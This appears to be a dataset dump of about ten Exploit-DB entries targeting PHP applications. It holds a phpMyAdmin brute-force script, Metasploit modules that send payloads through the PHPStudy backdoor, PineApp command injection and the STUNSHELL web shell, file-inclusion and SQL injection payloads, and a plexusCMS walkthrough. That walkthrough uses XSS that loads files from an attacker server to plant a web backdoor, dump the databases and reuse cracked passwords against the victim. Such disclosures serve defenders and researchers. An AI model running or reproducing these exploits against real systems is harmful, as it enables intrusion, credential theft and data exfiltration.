deardaniel/secdata-raw huggingface dataset:
Exploit-DB #19553
Description: PHP/FI 1.0/FI 2.0/FI 2.0 b10 - mylog/mlog
Type: remote
Platform: php
Date: 1997-10-19
Author: Bryan Berg

Exploit:
source: https://www.securityfocus.com/bid/713/info

The PHP/FI package which was originally written by Rasmus Lerdorf is an is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly.

Since its inception, PHP/FI has been turned over to another development team and is now known only as PHP. Certain versions of PHP/FI shipped with two flawed example script for logging examples. These scripts were mylog.html & mlog.html. in both mlog.html and mylog.html. The idea is to include a file for each type of logging stats, however, there is no escaping of slashes, so one can specify any file on the system.

The problem lies in the line:

<?include "$screen">

By exploiting this problem users can view any file on the system which the http daemon user id has access to. 

http://some.stupid.isp.net/~dumbuser/cool-logs/mlog.html?screen=[fully
qualified path to any file on the system]
Exploit-DB #52414
Description: PHPMyAdmin 3.0 - Bruteforce Login Bypass
Type: remote
Platform: php
Date: 2025-08-18
Author: Nikola Markovic

Exploit:
"""
Exploit-Title: PHPMyAdmin 3.0 - Bruteforce Login Bypass
Author: Nikola Markovic (badgerinc23@gmail.com)
Date: 2023
Google-Dork: intext: phpMyAdmin
Vendor: https://www.phpmyadmin.net/
Version: >3.0 & 4.3.x before 4.3.13.2 and 4.4.x before 4.4.14.1
Tested on: win/linux/unix
Python-Version: 3.0
CVE : CVE-2015-6830
"""
import urllib.request
import urllib.parse
import urllib
import threading
import http.cookiejar
import re
import sys

def CheckLogin(target):
	passwords = ["123"]
	try:
		for password in passwords:
			print("Try Host: "+target+" with Combo: root/"+password+"!\n")
			load_token = urllib.request.Request(target)
			fetch_token = urllib.request.urlopen(load_token,timeout=2).read()
			token = re.findall(r'name="token" value="([\w\.-]+)"',fetch_token.decode('utf-8')) # token fetching
			session = re.findall(r'name="set_session" value="([\w\.-]+)"',fetch_token.decode('utf-8')) ## session token fetching
			login_data = urllib.parse.urlencode({ 'pma_username': "root", 'pma_password': password,'set_session': session[0], 'token':token}) ## injecting payload to bruteforce
			login = login_data.encode()
			cookies = http.cookiejar.CookieJar()
			opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cookies))
			do_it = opener.open(target,login,timeout=2)
			check = do_it.read()
			if b"index.php?route=/logout" in check:
				f = open('bruted_pma','a')
				f.write(target+" Bruted: root/"+password+"\n")
				f.close()
	except:
		pass

if sys.argv[1]:
		t = threading.Thread(target=CheckLogin,args=(str(sys.argv[1]),))
		if threading.active_count() < 500:
			t.start()
		else:
			t.start()
			t.join()
Exploit-DB #48192
Description: PHPStudy - Backdoor Remote Code execution (Metasploit)
Type: remote
Platform: php
Date: 2020-03-10
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "PHPStudy Backdoor Remote Code execution",
      'Description'    => %q{
        This module can detect and exploit the backdoor of PHPStudy.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Dimensional',  #POC
          'Airevan'       #Metasploit Module
        ],
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          ['PHPStudy 2016-2018', {}]
        ],
      'References'    =>
        [
          ['URL', 'https://programmer.group/using-ghidra-to-analyze-the-back-door-of-phpstudy.html']
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Sep 20 2019",
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path', '/'])
      ])
  end
  def check
    uri = target_uri.path
    fingerprint = Rex::Text.rand_text_alpha(8)
    res = send_request_cgi({
      'method'  =>  'GET',
      'uri'     =>  normalize_uri(uri, 'index.php'),
      'headers' =>  {
        'Accept-Encoding' =>  'gzip,deflate',
        'Accept-Charset'  =>  Rex::Text.encode_base64("echo '#{fingerprint}';")
      }
    })

    if res && res.code == 200 && res.body.to_s.include?(fingerprint)
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end
  end
  def exploit
    uri = target_uri.path
    print_good("Sending shellcode")
    res = send_request_cgi({
      'method'  => 'GET',
      'uri'     => normalize_uri(uri, 'index.php'),
      'headers' => {
          'Accept-Encoding' => 'gzip,deflate',
          'Accept-Charset'  => Rex::Text.encode_base64(payload.encoded)
      }
  })
  end
end
Exploit-DB #27294
Description: PineApp Mail-SeCure - 'ldapsyncnow.php' Arbitrary Command Execution (Metasploit)
Type: remote
Platform: php
Date: 2013-08-02
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'PineApp Mail-SeCure ldapsyncnow.php Arbitrary Command Execution',
      'Description'    => %q{
          This module exploits a command injection vulnerability on PineApp Mail-SeCure
        3.70. The vulnerability exists on the ldapsyncnow.php component, due to the insecure
        usage of the shell_exec() php function. This module has been tested successfully
        on PineApp Mail-SeCure 3.70.
      },
      'Author'         =>
        [
          'Dave Weinstein', # Vulnerability discovery
          'juan vazquez'    # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-185/']
        ],
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'       => 1024,
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl python telnet'
            }
        },
      'Targets'        =>
        [
          [ 'PineApp Mail-SeCure 3.70', { }]
        ],
      'DefaultOptions' =>
        {
          'SSL' => true
        },
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jul 26 2013'
      ))

    register_options(
      [
        Opt::RPORT(7443)
      ],
      self.class
    )

  end

  def my_uri
    return normalize_uri("/admin/ldapsyncnow.php")
  end

  def check
    # Since atm of writing this exploit there isn't patch available,
    # checking for the vulnerable component should be a reliable test.
    res = send_request_cgi({
      'uri' => my_uri,
      'vars_get' => {
        'sync_now' =>'1'
      }
    })
    if res and res.code == 200 and res.body =~ /window\.setTimeout\('loaded\(\)', 2500\);/
      return Exploit::CheckCode::Appears
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    print_status("#{rhost}:#{rport} - Executing payload...")
    send_request_cgi({
      'uri' => my_uri,
      'vars_get' => {
        'sync_now' =>'1', # must be 1 in order to trigger the vulnerability
        'shell_command' => payload.encoded
      }
    })
  end

end
Exploit-DB #32618
Description: plexusCMS 0.5 - Cross-Site Scripting / Remote Shell / Credentials Leak
Type: remote
Platform: php
Date: 2014-03-31
Author: neglomaniac

Exploit:
# Exploit Title: plexusCMS 0.5 XSS Remote Shell Exploit
# Google Dork: allinurl: plx-storage
# Date: 22.02.2013
# Exploit Author: neglomaniac
# Vendor Homepage: http://plexus-cms.org/
# Version: 0.5

---

FILES

backdoor.php	simple commend execute backdoor
commands.txt	list of useful commands for owning remote box
generator.py	create important files with given parameters
phpinfo.php	simple phpinfo call for testing
plexus05.tgz	original plexus source code for auditing
postit.py	send evil POST Request for file upload
readme.txt	nothing else than this file
request.txt	evil POST request template for postit.py
weevely.php	weevely shell with [CREDENTIAL_REDACTED]
weevely.tgz	weevely stealth web backdoor client and generator

---

EXPLOITATION

Get database credentials with wget http://RHOST/plx-file/config.php

Try to log in with phpmyadmin and dump the database for password
cracking. If you can crack the password you can upload php files
with new image and new file. You can launch your php backdoors
inside http://plexushost/plx-storage/files/ or plx-storage/images/

If you do not have access to the database in some way you can
upload files with XSS and Social Engineering.

Set up a server with php support and python installed on it. Copy
all this files to a location where you can write to it. Launch

python generator.py plexushost 80 http://yourserver/scripts/ weevely.php

If you see: plximage.php, plximage.js, plximage.xss generated!!!
all files are generated for exploitation.

plexushost is the victim webserver where plexus is installed
port is the standard webserver port

http://yourserver/scripts/ is the location of exploit files. Do not forget
the slash at the end!!!

weevely.php ist the file uploaded at http://victimhost/plx-storage/files/

Get url from plximage.xss obfuscate, iframe and/or shorten it. Put it into
an email, on a webpage or wherever you want.

Socialengineer your victim to open this url. If your victim is logged in
you get your backdoor at: http://victimhost/plx-storage/files/ Else you
need to socialengineer your victim to log in. After the victim logs in you
get your backdoor at files directory.

Connect to your backdoor with weevely and password your password (secret)
python weevely.py http://victimhost/plx-storage/files/yourfile.php secret

Dumpt the whole database with previous collected credential and download ist
mysqldump -f -r plxinfo.txt -uYOURUSER -pYOURPASS --all-databases
wget http://RHOST/plx-storage/files/plxinfo.txt

Crack password and use it for your next hacking attempts against your victim.
For example try this password for root or other users, other mysql databases,
mysql root, facebook/twitter accounts and so on.

---


Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32618.tgz
Exploit-DB #31479
Description: Quick Classifieds 1.0 - 'index.php3?DOCUMENT_ROOT' Remote File Inclusion
Type: remote
Platform: php
Date: 2008-03-24
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28417/info

Quick Classifieds is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Quick Classifieds 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/QuickSystems_path/index.php3?DOCUMENT_ROOT=ZoRLu.txt?
Exploit-DB #32359
Description: SePortal 2.5 - SQL Injection (2)
Type: remote
Platform: php
Date: 2014-03-19
Author: jsass

Exploit:
####################################################################
Exploit: SePortal 2.5 Sql Injection Vulnerabilty
Author: jsass
Date  : 19\03\2014
Contact Twitter: @Kwsecurity
Script: http://www.seportal.org/
version: 2.5
Tested on: Linux Ubuntu 12.4 & Windows 7
Dork : "Powered by SePortal 2.5"

//** Searching And  Analysis By Kuwaity Crew **\\

####################################################################
      SQL INJECTION Vulnerabilty

       code :
 $main_template = 'staticpages';

define('GET_CACHES', 1);
define('ROOT_PATH', './');
define('GET_USER_ONLINE', 1);
define('GET_STATS_BOX', 1);
include(ROOT_PATH.'global.php');
require(ROOT_PATH.'includes/sessions.php');

  $sql = "SELECT *
          FROM ".STATICPAGE_TABLE."
          WHERE sp_id = '".$sp_id."'";
  $result = $site_db->query($sql);

      files:
  staticpages.php?sp_id=(inject here)
  print.php?mode=staticpage&client=printer&sp_id=(inject here)

example:

http://localhost/seportal2.5/staticpages.php?sp_id=1%27%20%20and+extractvalue%28rand%28%29,concat%280x7e,version%28%29%29%29--%20-

//////////////////////////////////////////////////////////////////////////////////
     
     
               
               
 Greats: dzkabyle & Mr.Exit & massacreur & rDNix & hamza & Q8 Spy & الشبح الدموي & medo medo & sec4ever.com & is-sec.com
Exploit-DB #51808
Description: Simple Inventory Management System v1.0 - 'email' SQL Injection
Type: remote
Platform: php
Date: 2024-02-26
Author: SoSPiro

Exploit:
# Exploit Title: Simple Inventory Management System v1.0 -  'email'  SQL Injection
# Google Dork: N/A
# Application: Simple Inventory Management System
# Date: 26.02.2024
# Bugs: SQL Injection 
# Exploit Author: SoSPiro
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15419/simple-inventory-management-system-phpoop-free-source-code.html
# Version: 1.0
# Tested on: Windows 10 64 bit Wampserver 
# CVE : N/A


## Vulnerability Description:

This code snippet is potentially vulnerable to SQL Injection. User inputs ($_POST['email'] and $_POST['pwd']) are directly incorporated into the SQL query without proper validation or sanitization, exposing the application to the risk of manipulation by malicious users. This could allow attackers to inject SQL code through specially crafted input.


## Proof of Concept (PoC):

An example attacker could input the following values:

email: test@gmail.com'%2b(select*from(select(sleep(20)))a)%2b'
pwd: test

This would result in the following SQL query:

SELECT * FROM users WHERE email = 'test@gmail.com'+(select*from(select(sleep(20)))a)+'' AND [CREDENTIAL_REDACTED]'

This attack would retrieve all users, making the login process always successful.

request-response foto:https://i.imgur.com/slkzYJt.png


## Vulnerable code section:
====================================================
ims/login.php

<?php 
ob_start();
session_start();
include('inc/header.php');
$loginError = '';
if (!empty($_POST['email']) && !empty($_POST['pwd'])) {
	include 'Inventory.php';
	$inventory = new Inventory();

	// Vulnerable code
	$login = $inventory->login($_POST['email'], $_POST['pwd']); 
	//

if(!empty($login)) {
		$_SESSION['userid'] = $login[0]['userid'];
		$_SESSION['name'] = $login[0]['name'];			
		header("Location:index.php");
	} else {
		$loginError = "Invalid email or password!";
	}
}
?>



## Reproduce: https://packetstormsecurity.com/files/177294/Simple-Inventory-Management-System-1.0-SQL-Injection.html
Exploit-DB #51842
Description: Simple Student Attendance System v1.0 -  'classid' Time Based Blind & Union Based SQL Injection
Type: remote
Platform: php
Date: 2024-03-03
Author: Gnanaraj Mauviel

Exploit:
# Exploit Title: Simple Student Attendance System v1.0 -  'classid' Time Based Blind & Union Based SQL Injection
# Date: 26 December 2023
# Exploit Author: Gnanaraj Mauviel (@0xm3m)
# Vendor: oretnom23
# Vendor Homepage: https://www.sourcecodester.com/php/17018/simple-student-attendance-system-using-php-and-mysql.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-attendance.zip
# Version: v1.0
# Tested on: Mac OSX, XAMPP, Apache, MySQL

-------------------------------------------------------------------------------------------------------------------------------------------

Source Code(/php-attendance/classes/actions.class.php):

public function attendanceStudents($class_id = "", $class_date = ""){
if(empty($class_id) || empty($class_date))
return [];
$sql = "SELECT `students_tbl`.*, COALESCE((SELECT `status` FROM `attendance_tbl` where `student_id` = `students_tbl`.id and `class_date` = '{$class_date}' ), 0) as `status` FROM `students_tbl` where `class_id` = '{$class_id}' order by `name` ASC";
$qry = $this->conn->query($sql);
$result = $qry->fetch_all(MYSQLI_ASSOC);
return $result;
}

-> sqlmap -u "http://localhost/php-attendance/?page=attendance&class_id=446&class_date=0002-02-20" --batch
---
Parameter: class_id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=attendance&class_id=446' AND (SELECT 5283 FROM (SELECT(SLEEP(5)))zsWT) AND 'nqTi'='nqTi&class_date=0002-02-20

    Type: UNION query
    Title: Generic UNION query (NULL) - 6 columns
    Payload: page=attendance&class_id=446' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x[PII_REDACTED],0x7154766a5453645a7a4d497071786a6f4b647a5a6d4162756c72636b4a4555746d555a5a71614d4c,0x71767a7a71),NULL-- -&class_date=0002-02-20
---
Exploit-DB #51841
Description: Simple Student Attendance System v1.0 - Time Based Blind SQL Injection
Type: remote
Platform: php
Date: 2024-03-03
Author: Gnanaraj Mauviel

Exploit:
# Exploit Title: Simple Student Attendance System - Time Based Blind SQL Injection
# Date: 26 December 2023
# Exploit Author: Gnanaraj Mauviel (@0xm3m)
# Vendor: oretnom23
# Vendor Homepage: https://www.sourcecodester.com/php/17018/simple-student-attendance-system-using-php-and-mysql.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-attendance.zip
# Version: v1.0
# Tested on: Mac OSX, XAMPP, Apache, MySQL

-------------------------------------------------------------------------------------------------------------------------------------------

Source Code(/php-attendance/classes/actions.class.php):

public function delete_student(){
extract($_POST);
$delete = $this->conn->query("DELETE FROM `students_tbl` where `id` = '{$id}'");
if($delete){
$_SESSION['flashdata'] = [ 'type' => 'success', 'msg' => "Student has been deleted successfully!" ];
return [ "status" => "success" ];
}else{
$_SESSION['flashdata'] = [ 'type' => 'danger', 'msg' => "Student has failed to deleted due to unknown reason!" ];
return [ "status" => "error", "Student has failed to deleted!" ];
}
}

-> sqlmap -u "http://localhost/php-attendance/ajax-api.php?action=delete_student" --data="id=7" --technique=T --batch
---
Parameter: id (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=7' AND (SELECT 3738 FROM (SELECT(SLEEP(5)))kVAW) AND 'vAFW'='vAFW
---
Exploit-DB #24902
Description: STUNSHELL (Web Shell) - PHP Remote Code Execution (Metasploit)
Type: remote
Platform: php
Date: 2013-03-29
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'STUNSHELL Web Shell Remote PHP Code Execution',
      'Description'    => %q{
          This module exploits unauthenticated versions of the "STUNSHELL" web shell.
        This module works when safe mode is enabled on the web server. This shell is widely
        used in automated RFI payloads.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'bwall <bwall[at]openbwall.com>' # vuln discovery & msf module
        ],
      'References'     =>
        [
          ['URL', 'https://defense.ballastsecurity.net/wiki/index.php/STUNSHELL'],
          ['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=a4cd8ba05eb6ba7fb86dd66bed968007']
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Keys'        => ['php'],
          'Space'       => 10000,
          'DisableNops' => true
        },
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        => 
        [
          ['stunshell', {}]
        ],
      'DisclosureDate' => 'Mar 23 2013',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI',[true, "The path to the andalas_oku shell", "/IDC.php"]),
      ],self.class)
  end

  def check
    uri = normalize_uri(target_uri.path.to_s)
    request_parameters = {
      'method'  => 'POST',
      'uri'    => uri,
      'vars_post'  =>
        {
          'cmd' => "php_eval",
          'php_eval' => "print 'andalas_oku test parameter';"
        }
    }
    shell = send_request_cgi(request_parameters)
    if (shell and shell.body =~ /andalas_oku test parameter/)
      return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
  end

  def http_send_command(cmd)
    uri = normalize_uri(target_uri.path.to_s)
    request_parameters = {
      'method'  => 'POST',
      'uri'    => uri,
      'vars_post'  =>
        {
          'cmd' => "php_eval",
          "php_eval" => cmd
        }
    }
    res = send_request_cgi(request_parameters)
  end

  def exploit
    http_send_command(payload.encoded)
  end
end